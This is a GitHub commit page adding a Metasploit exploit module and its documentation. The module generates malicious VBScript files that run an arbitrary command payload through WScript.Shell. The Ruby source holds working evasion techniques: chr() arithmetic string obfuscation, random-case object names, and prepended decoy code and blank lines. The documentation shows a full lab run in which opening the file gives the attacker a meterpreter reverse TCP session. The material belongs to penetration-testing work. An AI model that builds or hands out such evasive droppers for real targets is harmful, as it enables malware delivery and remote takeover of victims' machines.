Skip to content

Commit f4622d8

Browse files
authored
Land #20406, adds malicious Windows Script Host VBScript fileformat module
Add Malicious Windows Script Host VBScript (.vbs) File module
2 parents 12340ef + cbc03ea commit f4622d8

File tree

2 files changed

+307
-0
lines changed

2 files changed

+307
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
## Vulnerable Application
2+
3+
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
4+
5+
This module has been tested successfully on:
6+
7+
* Microsoft Windows 7 Professional SP1 (x86_64)
8+
* Microsoft Windows 11 Professional 21H2 (x86_64)
9+
10+
11+
## Options
12+
13+
### FILENAME
14+
15+
The VBScript file name. (Default: `msf.vbs`).
16+
17+
### OBFUSCATE
18+
19+
Enable VBScript obfuscation. (Default: `true`)
20+
21+
22+
## Advanced Options
23+
24+
### PrependBenignCode
25+
26+
Prepend several lines of benign code at the start of the file. (Default: `true`)
27+
28+
### PrependNewLines
29+
30+
Prepend new lines before the malicious VBScript. (Default: `100`)
31+
32+
33+
## Verification Steps
34+
35+
On the Metasploit host:
36+
37+
1. Start msfconsole
38+
1. Do: `use exploit/windows/fileformat/windows_script_host_vbscript`
39+
1. Do: `set filename [filename.vbs]`
40+
1. Do: `set payload [payload]`
41+
1. Do: `set lhost [lhost]`
42+
1. Do: `set lport [lport]`
43+
1. Do: `run`
44+
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
45+
46+
On the target Windows machine:
47+
48+
1. Ensure Windows Security is disabled
49+
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1
50+
1. Open the `msf.vbs` file
51+
1. If prompted to choose a program to open the file, select Windows Script Host
52+
53+
54+
## Scenarios
55+
56+
### Microsoft Windows 11 Professional 21H2 (x86_64)
57+
58+
```
59+
msf > use exploit/windows/fileformat/windows_script_host_vbscript
60+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
61+
msf exploit(windows/fileformat/windows_script_host_vbscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
62+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
63+
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lhost 192.168.200.130
64+
lhost => 192.168.200.130
65+
msf exploit(windows/fileformat/windows_script_host_vbscript) > set lport 4444
66+
lport => 4444
67+
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
68+
[+] msf.vbs stored at /root/.msf4/local/msf.vbs
69+
msf exploit(windows/fileformat/windows_script_host_vbscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
70+
[*] Payload handler running as background job 0.
71+
72+
[*] Started reverse TCP handler on 192.168.200.130:4444
73+
msf exploit(windows/fileformat/windows_script_host_vbscript) > [*] Sending stage (203846 bytes) to 192.168.200.169
74+
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49977) at 2025-07-22 11:56:01 -0400
75+
76+
msf exploit(windows/fileformat/windows_script_host_vbscript) > sessions -i -1
77+
[*] Starting interaction with 1...
78+
79+
meterpreter > sysinfo
80+
Computer : WIN-11-PRO-X64
81+
OS : Windows 11 21H2 (10.0 Build 22000).
82+
Architecture : x64
83+
System Language : en_GB
84+
Domain : WORKGROUP
85+
Logged On Users : 2
86+
Meterpreter : x64/windows
87+
```
Lines changed: 220 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
16+
'Description' => %q{
17+
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
18+
},
19+
'License' => MSF_LICENSE,
20+
'Author' => [
21+
'bcoles'
22+
],
23+
'References' => [
24+
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
25+
],
26+
'Arch' => [ARCH_CMD],
27+
'Platform' => 'win',
28+
'Payload' => {
29+
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
30+
'BadChars' => "\x00",
31+
'DisableNops' => true
32+
},
33+
'Targets' => [
34+
[
35+
'Microsoft Windows 98 or newer', {}
36+
],
37+
],
38+
'Privileged' => false,
39+
'DisclosureDate' => '1998-06-25', # Windows 98 release date
40+
'DefaultTarget' => 0,
41+
'DefaultOptions' => {
42+
'DisablePayloadHandler' => true
43+
},
44+
'Notes' => {
45+
'Stability' => [CRASH_SAFE],
46+
'Reliability' => [REPEATABLE_SESSION],
47+
'SideEffects' => [SCREEN_EFFECTS]
48+
}
49+
)
50+
)
51+
52+
register_options([
53+
OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
54+
OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
55+
])
56+
57+
register_advanced_options([
58+
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
59+
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
60+
])
61+
end
62+
63+
# Returns a random math expression evaluating to input int
64+
#
65+
# @param [Integer] int input integer
66+
#
67+
# @return [String] math expression evaluating to input int
68+
def generate_number_expression(int)
69+
case rand(4)
70+
when 0 # Sum
71+
a = rand(0..int)
72+
b = int - a
73+
"(#{a}+#{b})"
74+
when 1 # Difference
75+
r1 = int + rand(1..10)
76+
r2 = r1 - int
77+
"(#{r1}-#{r2})"
78+
when 2 # Product (only if divisible)
79+
divisors = (1..int).select { |d| (int % d).zero? }
80+
if divisors.size > 1
81+
d = divisors.sample
82+
"(#{d}*#{int / d})"
83+
else
84+
"(#{int}+0)"
85+
end
86+
when 3 # Quotient
87+
r2 = rand(1..10)
88+
r1 = int * r2
89+
"(#{r1}/#{r2})"
90+
end
91+
end
92+
93+
# Return VBScript code with all strings split into chunks and concatenated
94+
#
95+
# @param [String] vbscript VBScript code
96+
#
97+
# @return [String] VBScript code with chunked strings
98+
def chunk_vbscript_strings(vbscript)
99+
vbscript.gsub(/"([^"]+)"/) do
100+
original = Regexp.last_match(1)
101+
chunks = []
102+
103+
i = 0
104+
while i < original.length
105+
chunk_size = rand(1..5)
106+
chunks << "\"#{original[i, chunk_size]}\""
107+
i += chunk_size
108+
end
109+
110+
chunks.join(' & ')
111+
end
112+
end
113+
114+
# Build a series of benign VBScript noise blocks
115+
#
116+
# @param [Integer] block_count Number of blocks to generate
117+
#
118+
# @return [String] block_count blocks of inert VBScript
119+
def generate_vbscript_noise(block_count = 0)
120+
lines = []
121+
122+
block_count.times do
123+
case rand(4)
124+
when 0 # Dummy variable declarations and assignments
125+
v1 = rand_text_alpha(6..16)
126+
v2 = rand_text_alpha(6..16)
127+
a = rand(0..100)
128+
b = rand(0..100)
129+
lines << "Dim #{v1}, #{v2}"
130+
lines << "#{v1} = #{a}"
131+
lines << "#{v2} = #{b}"
132+
when 1 # Dummy Function
133+
fname = rand_text_alpha(6..16)
134+
arg = rand_text_alpha(6..16)
135+
mult = rand(1..5)
136+
lines << "Function #{fname}(#{arg})"
137+
lines << " #{fname} = #{arg} * #{mult}"
138+
lines << 'End Function'
139+
when 2 # Dummy Sub
140+
sname = rand_text_alpha(6..16)
141+
arg = rand_text_alpha(6..16)
142+
mult = rand(1..5)
143+
lines << "Sub #{sname}(#{arg})"
144+
lines << " #{sname} = #{arg} * #{mult}"
145+
lines << 'End Sub'
146+
when 3 # Dummy For loop
147+
idx = rand_text_alpha(6..16)
148+
max = rand(1..5)
149+
lines << "Dim #{idx}"
150+
lines << "For #{idx} = 1 To #{max}"
151+
lines << " #{idx} = #{idx} + 0"
152+
lines << 'Next'
153+
end
154+
end
155+
156+
lines.join("\r\n")
157+
end
158+
159+
# Obfuscate string literals and integer literals
160+
#
161+
# @param [String] vbscript VBScript code to be obfuscated
162+
#
163+
# @return [String] Obfuscated VBScript
164+
def obfuscate_vbscript(vbscript)
165+
obfuscated = vbscript.dup
166+
167+
# Obfuscate strings
168+
obfuscated = chunk_vbscript_strings(obfuscated)
169+
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
170+
raw = ::Regexp.last_match(1).gsub('""', '"')
171+
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
172+
end
173+
174+
# Obfuscate integers
175+
obfuscated.gsub!(/\b\d+\b/) do |num|
176+
generate_number_expression(num.to_i)
177+
end
178+
179+
obfuscated
180+
end
181+
182+
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
183+
vbs = ''
184+
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
185+
vbs << "\r\n" * prepend_new_lines
186+
187+
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
188+
189+
# If the payload contains " & " we presume it is a command string.
190+
#
191+
# TODO: Change this once Metasploit is able to inform a module that
192+
# the specified ARCH_CMD payload is a string of commands
193+
# (not a single command).
194+
if escaped_payload.include?(' & ')
195+
cmd = "cmd.exe /c #{escaped_payload}"
196+
else
197+
cmd = escaped_payload
198+
end
199+
200+
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
201+
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
202+
if obfuscate
203+
vbs << obfuscate_vbscript(vbs_payload)
204+
else
205+
vbs << vbs_payload
206+
end
207+
208+
vbs
209+
end
210+
211+
def exploit
212+
vbs = generate_vbscript(
213+
payload.encoded,
214+
prepend_benign_code: datastore['PrependBenignCode'],
215+
prepend_new_lines: datastore['PrependNewLines'],
216+
obfuscate: datastore['OBFUSCATE']
217+
)
218+
file_create(vbs)
219+
end
220+
end

0 commit comments

Comments
 (0)